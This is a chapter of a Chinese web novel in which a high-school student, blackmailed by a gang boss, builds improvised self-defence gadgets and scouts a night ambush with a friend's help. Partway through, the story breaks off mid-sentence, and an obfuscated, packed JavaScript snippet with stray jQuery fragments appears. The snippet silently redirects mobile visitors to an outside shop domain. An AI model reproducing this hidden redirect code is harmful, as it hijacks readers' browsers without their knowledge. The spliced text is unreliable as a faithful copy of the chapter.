文趣网 > 都市小说 > 《天工秘录》传人成长记 > 24. 独赴约?不
    严策将最后一张宣传单放进文件夹,拉上书包拉链。金属拉链咬合的声音在空旷下来的大厅里显得格外清晰。他背起书包,最后看了一眼展位上的装置。空荡荡的传动轴像一只失明的眼睛,沉默地对着他。他转身,走向出口。玻璃门外的夕阳正缓缓下沉,橙红色的光铺满了走廊。几个学生从他身边跑过,笑着讨论晚上去哪里玩。严策的脚步很稳,校服口袋里的纸条随着步伐微微摩擦着布料。他走出教学楼,傍晚的风吹过来,带着初夏的暖意和一丝若有若无的灰尘气息。他抬起头,看了一眼天空。云层被染成了金红色,很美。然后他低下头,掏出手机,屏幕亮起,映出他平静的脸。手指在键盘上快速敲击,加密通讯软件的界面跳了出来。第一条消息,发给李浩。

    “齿轮丢了。赵坤勒索,今晚八点旧货市场后巷,要求一个人去。我需要监控支持。”

    发送。

    手机屏幕暗下去,又亮起。李浩的回复几乎在五秒内就弹了出来。

    “卧槽!等我。”

    严策把手机放回口袋,继续往校门口走。他的呼吸很平稳,心跳也没有加速。校门口的人流比平时多,文化祭结束,学生们三三两两地离开。保安大叔站在岗亭里,手里端着保温杯,看着外面。严策穿过人群,拐进回家的那条小路。这条路比较安静,两旁是老旧居民楼的围墙,墙上爬着枯萎的藤蔓。夕阳把影子拉得很长。

    手机震动。

    严策停下脚步,靠在墙边,掏出手机。李浩发来一个加密文件链接,还有一段文字。

    “旧货市场周边公共监控分布图。红色是正常工作的,蓝色是损坏或盲区。后巷是个死胡同,只有一个入口,但侧面有三栋废弃建筑可以观察。我已经调取了今天下午的监控录像,正在分析有没有提前埋伏的人。你现在在哪?”

    严策打字:“回家路上。我需要路线规划和可能的埋伏点分析。”

    “给我十分钟。你先回家,别在路上停留。赵坤的人可能已经在监视你了。”

    严策收起手机,继续往前走。他的目光扫过周围。一辆停在路边的灰色面包车,车窗贴着深色膜。一个蹲在路边抽烟的中年男人,穿着脏兮兮的工装。一个推着婴儿车慢悠悠走过的老太太。都很正常,又都不太正常。严策没有加快脚步,也没有放慢,保持着原来的节奏。他能感觉到校服口袋里那张纸条的存在,像一块烙铁,烫着大腿。

    回到家时,天色已经暗下来了。

    母亲在厨房做饭,抽油烟机的声音轰轰作响,油锅滋啦滋啦地炸着什么东西。父亲还没下班。严策打了声招呼,径直走进自己的房间,关上门。房间很小,书桌、床、书架,几乎占满了所有空间。他从书包里掏出《天工秘录》,但没有翻开,而是放在书桌上。然后他打开衣柜,从最底层拖出一个旧工具箱。

    工具箱是铁皮的,表面有些锈迹。打开,里面分两层。上层是普通工具:螺丝刀、钳子、锤子、卷尺。下层是他自己准备的东西:几根不同粗细的钢管,一些弹簧,一小包钢珠,几个用过的中性笔芯改造的发射管,还有几个小玻璃瓶,瓶子里装着不同颜色的粉末。

    严策拿起一个玻璃瓶,对着灯光看了看。瓶子里是淡黄色的细粉,在光线下微微反光。这是他从《天工秘录》里找到的一个方子,用几种草药研磨混合而成,接触皮肤会产生刺痛和轻微麻痹感,效果持续十分钟左右,不会造成永久伤害。他称之为“刺痛麻痹粉”。

    他又拿起另一个小瓷瓶,拔开木塞,闻了闻。一股淡淡的草药清香,混合着一点酒精味。这是“金疮止血散”,同样来自《天工秘录》,对外伤止血有奇效。他重新塞好木塞,把两个瓶子放进校服外套的内侧口袋。

    然后他开始组装防身器械。

    他选择的是一把改进的弹射器。主体是一根二十厘米长的钢管,内径八毫米,一端封闭,另一端开口。钢管侧面焊了一个小卡扣,用来固定弹簧。弹簧是从旧圆珠笔里拆出来的,弹力足够。发射物是他自制的泥丸——用黏土搓成的小球,直径七毫米,晒干后很硬,但击中目标后会碎裂,释放内部包裹的刺痛麻痹粉。

    严策把三颗泥丸塞进钢管,压上弹簧,卡好卡扣。整个器械比手掌略长,可以轻松握在手里,藏在袖子里。他试了试手感,重量适中,重心稳定。

    手机又震动了。

    李浩发来新的消息,这次是一张手绘的路线图,标注了各种符号。

    “路线规划好了。三条可选:A路线最短,但经过两个监控盲区,风险高;B路线绕远,但全程有监控覆盖,相对安全;C路线折中,但需要穿过一片待拆迁的老房子区域,地形复杂,容易设伏。建议走B路线,提前半小时出发。”

    “埋伏点分析:后巷唯一的入口容易被堵死,如果进去就是瓮中捉鳖。但侧面那三栋废弃建筑——一栋两层小楼,一栋平房,一个铁皮棚——都是理想的观察和埋伏点。特别是两层小楼,二楼窗户正对后巷,视野最好。如果赵坤要设伏,大概率会在这里安排人。”

    “另外,我分析了今天下午旧货市场周边的监控,发现有三辆面包车在不同时间段停靠过,都是深色车窗,看不清里面的人。其中一辆在下午四点左右离开,另外两辆还在。车牌都是套牌,查不到信息。”

    严策打字:“小楼的具体位置?”

    李浩发来一张放大的卫星地图截图,用红圈标出了那栋两层小楼的位置。小楼紧挨着后巷,中间只隔着一堵两米高的砖墙。小楼侧面有一条狭窄的通道,可以绕到后巷另一头。

    “明白了。”严策回复,“继续监控那两辆面包车的动向。如果有异常,立刻通知我。”

    “收到。你准备怎么办?真要去?”

    严策的手指悬在屏幕上,停顿了几秒。

    然后他打字:“去。但不是一个人去。”

    他退出和李浩的聊天界面,点开另一个加密联系人。头像是一片空白,昵称只有一个字母:S。

    苏清影。

    严策输入文字:“遇到麻烦。今晚八点,旧货市场后巷。可能需要处理一些事。”

    发送。

    他放下手机,开始检查其他装备。一根三十厘米长的钢管,一端磨尖,可以作为短矛使用。几根橡皮筋,可以用来制作简易弹弓。一小卷鱼线,强度足够绊倒人。他把这些东西分别装进书包的不同夹层。

    手机屏幕亮起。

    苏清影的回复来了,只有五个字:

    “知道了。我会在附近。”

    没有问是什么麻烦,没有问需要什么帮助,甚至没有问为什么。就这五个字。严策看着屏幕,嘴角微微动了一下。他把手机放回口袋,继续准备。

    厨房传来母亲的声音:“小策,吃饭了!”

    “来了。”

    严策应了一声,把组装好的弹射器塞进枕头底下,然后走出房间。餐桌上摆着三菜一汤:青椒炒肉丝,西红柿炒鸡蛋,清炒小白菜,紫菜蛋花汤。热气腾腾,香味扑鼻。母亲还在厨房盛饭,父亲已经坐在桌边,手里拿着今天的晚报。

    “文化祭怎么样?”父亲头也不抬地问。

    “还行。”严策坐下,拿起筷子。

    “你那什么浇花装置,有人看吗?”

    “有一些。”

    “评委打分了吗?”

    “明天才出结果。”

    父亲“嗯”了一声,翻了一页报纸。母亲端着两碗饭出来,一碗放在严策面前,一碗放在父亲面前。她自己又回厨房盛了一碗。

    “我今天听王阿姨说,她儿子在文化祭上表演了钢琴独奏,可厉害了。”母亲坐下,夹了一筷子青椒肉丝到严策碗里,“你那个装置,能拿奖吗?”

    “不知道。”

    “要是能拿个奖就好了,以后高考说不定能加分。”母亲叹了口气,“你成绩虽然不差,但也不算拔尖,得有点别的亮点才行。”

    严策默默吃饭。青椒炒得有点老,肉丝有点柴,但他吃得很认真,一口一口,细嚼慢咽。他能感觉到父母的目光偶尔落在他身上,带着期待,也带着担忧。他们不知道他口袋里有一张勒索纸条,不知道他书包里藏着自制的武器,不知道他今晚要去一个危险的地方。

    他们只知道他是个普通的高中生,成绩中游,性格内向,需要努力才能考上好大学。

    严策吃完碗里的饭,又盛了半碗汤。紫菜蛋花汤很清淡,蛋花浮在表面,像一朵朵小小的云。他喝得很慢,让温热的液体流过喉咙,进入胃里。

    “我吃完了。”

    他放下碗,起身。

    “这么早?不看会儿电视?”母亲问。

    “有点累,想早点休息。”

    “哦,那去吧。别熬夜啊。”

    严策点点头,走回房间,关上门。他看了一眼手机:晚上六点四十分。距离约定时间还有一个小时二十分钟。

    他坐在书桌前,翻开《天工秘录》。不是要看什么,只是需要一点平静。泛黄的纸页,工整的毛笔小楷,复杂的图示。这些文字和图画已经陪伴了他十几年,从被迫学习到主动钻研,从懵懂到理解。这本书里记载的不只是技艺,更是一种思维方式,一种看待世界的方式——观察、分析、利用规律、解决问题。

    但现在,他要解决的问题很现实:如何从一个□□头目手里拿回齿轮,同时保证自己的安全。

    严策合上书,闭上眼睛。

    脑海里浮现出旧货市场后巷的地形图。李浩提供的监控分布,埋伏点分析,路线规划。苏清影的简短回复。赵坤那张纸条上的打印字。空荡荡的传动轴。

    他睁开眼睛,从抽屉里拿出一张白纸和一支铅笔。开始画图。

    先画后巷的轮廓:一条长约三十米的死胡同,宽约四米,两侧是高墙。入口在东南角,出口没有。巷子里堆着杂物:破家具,废轮胎,旧木板,几个生锈的铁桶。

    然后画侧面那栋两层小楼:紧贴西侧围墙,二楼有三扇窗户,其中一扇正对后巷。小楼侧面有一条狭窄通道,可以绕到后巷北端。

    再画可能的埋伏点:小楼二楼窗口,杂物堆后面,铁桶后面,入口两侧的阴影里。

    严策用铅笔在图上标注符号。圆圈代表赵坤可能的位置,三角形代表手下,叉号代表危险区域,箭头代表自己的行动路线。

    他画了三条可能的行动路线。

    第一条:直接从入口进去,正面交涉。风险最高,一旦进去就被包围,几乎没有退路。

    第二条:从侧面小楼二楼观察,确认情况后再决定是否进入。相对安全,但需要先潜入小楼,而且如果小楼里已经有埋伏,反而自投罗网。

    第三条:不从入口进,也不进小楼,而是绕到后巷另一头的矮墙外,从墙头观察,或者想办法从墙外接近那个放齿轮的位置。

    严策盯着第三条路线。

    后巷北端是一堵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680507|207667||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    两米五高的砖墙,墙外是一条更窄的小路,平时很少有人走。如果能翻过那堵墙,或者从墙头观察,就能避开入口的埋伏,也能避开小楼的风险。但问题是,墙很高,没有工具很难翻越。而且,如果齿轮放在巷子深处,从墙外可能看不到。

    他放下铅笔,看了看时间:晚上七点整。

    该出发了。

    严策站起身,换上一件深色的连帽外套,把弹射器塞进右边袖子,用橡皮筋固定在小臂上。钢管短矛插在后腰,用外套遮住。金疮止血散和刺痛麻痹粉的备用瓶装进左边口袋。手机调成静音,塞进内侧口袋。

    他打开房门,父母正在客厅看电视。新闻联播的声音,主持人的标准普通话。

    “我出去一下。”严策说。

    母亲转过头:“这么晚了还出去?”

    “去李浩家拿点复习资料。”

    “早点回来啊,别超过九点。”

    “嗯。”

    严策穿上鞋,推门出去。楼道里的声控灯应声亮起,昏黄的光线照在斑驳的墙壁上。他走下楼梯,每一步都踩得很实。走出单元门,夜晚的空气扑面而来,比傍晚凉了一些,带着城市特有的混合气味:汽车尾气,饭菜香,远处烧烤摊的烟味。

    他按照李浩规划的B路线走。这条路确实绕远,需要多走二十分钟,但沿途都是主干道,路灯明亮,行人不少。严策把帽子拉低一些,但没完全遮住脸。他走得不快不慢,目光平视前方,但余光始终注意着周围。

    经过一个十字路口时,红灯亮起。严策停下脚步,和其他等红灯的人站在一起。一个年轻女孩在玩手机,屏幕的光映在她脸上。一个中年男人提着公文包,一脸疲惫。一个老太太牵着一条小狗,小狗在嗅路边的电线杆。

    绿灯亮起。

    人群开始移动。严策跟着人流过马路,走到对面的人行道上。他看了一眼手机:晚上七点二十五分。距离旧货市场还有十五分钟路程。

    手机震动了一下。

    李浩发来消息:“那两辆面包车还在原地。小楼二楼窗户有反光,可能是望远镜或者相机镜头。建议小心。”

    严策回复:“收到。”

    他继续往前走。街道两旁的店铺亮着灯,便利店,药店,小吃店,理发店。玻璃橱窗里陈列着商品,灯光很亮。严策经过一家便利店时,进去买了一瓶矿泉水。收银员是个年轻女孩,打着哈欠给他找零。严策接过零钱和矿泉水,拧开瓶盖,喝了一口。水很凉,流过喉咙时带来一阵清醒。

    走出便利店,他看了一眼时间:七点三十五分。

    还有二十五分钟。

    他加快了一点脚步,但依然保持节奏。转过一个街角,旧货市场的招牌出现在视野里。那是一个很大的露天市场,白天摆满摊位,卖各种旧货:家具,电器,书籍,工具。晚上市场关闭,铁门拉下,只有几盏昏暗的路灯亮着。

    严策没有直接走向市场正门,而是拐进旁边的一条小路。这条路很窄,两侧是围墙,墙上贴着各种小广告:□□,疏通管道,租房信息。路灯坏了,只有远处路口的光线勉强照进来。地面不平,有些地方有积水,反射着微弱的光。

    他走到小路中段,停下脚步。

    前面就是李浩说的那栋两层小楼。楼很旧,外墙的石灰大面积剥落,露出里面的红砖。窗户没有玻璃,只剩下空荡荡的窗框。一楼的门被木板钉死了,但侧面有一个缺口,可以钻进去。

    严策站在阴影里,观察了几分钟。

    小楼里没有灯光,没有声音。但二楼那扇正对后巷的窗户,确实有一点反光,很微弱,像是镜片或者玻璃的反光。

    他深吸一口气,从侧面缺口钻了进去。

    楼内一片漆黑,只有从窗户透进来的微弱光线。空气里有浓重的灰尘味,还有一股霉味。地面散落着碎砖块,废纸,空瓶子。严策打开手机的手电筒功能,用最低亮度照了照。楼梯在右手边,木质的,有些台阶已经塌了。

    他关掉手电,让眼睛适应黑暗。然后开始上楼。

    脚步很轻,踩在楼梯上发出细微的“嘎吱”声。每一步都先试探,确认台阶能承重再踩实。上到二楼,走廊很长,两侧有几个房间的门都开着。严策走到那扇正对后巷的窗户前,蹲下身,从窗框边缘小心地探出一点视线。

    下面就是后巷。

    巷子里堆满了杂物,在昏暗的路灯下投出扭曲的阴影。唯一的一盏路灯在巷子中段,发出昏黄的光,灯罩上积着厚厚的灰尘,光线很弱。巷子深处更暗,几乎看不清。

    严策的目光扫过巷子。

    入口处没有人。但巷子中段,靠近那盏路灯的地方,站着三个人。中间那个穿着黑色皮夹克,身材粗壮,正是赵坤。他旁边站着两个手下,一个高瘦,一个矮胖,都穿着深色衣服。

    赵坤正在抽烟,烟头的红光在黑暗中一明一灭。他时不时抬手看表,显得有些不耐烦。

    严策的目光继续搜索。

    杂物堆后面,似乎有人影晃动。铁桶后面,也有。巷子入口两侧的阴影里,隐约能看到蹲着的人。总数可能超过五个。

    果然有埋伏。

    严策收回视线,靠在墙边。心跳开始加快,但呼吸依然平稳。他从袖子里抽出弹射器,握在手里。冰凉的金属触感让神经更加清醒。

    时间:晚上七点五十分。

    还有十分钟。

    他没有打算真的下去。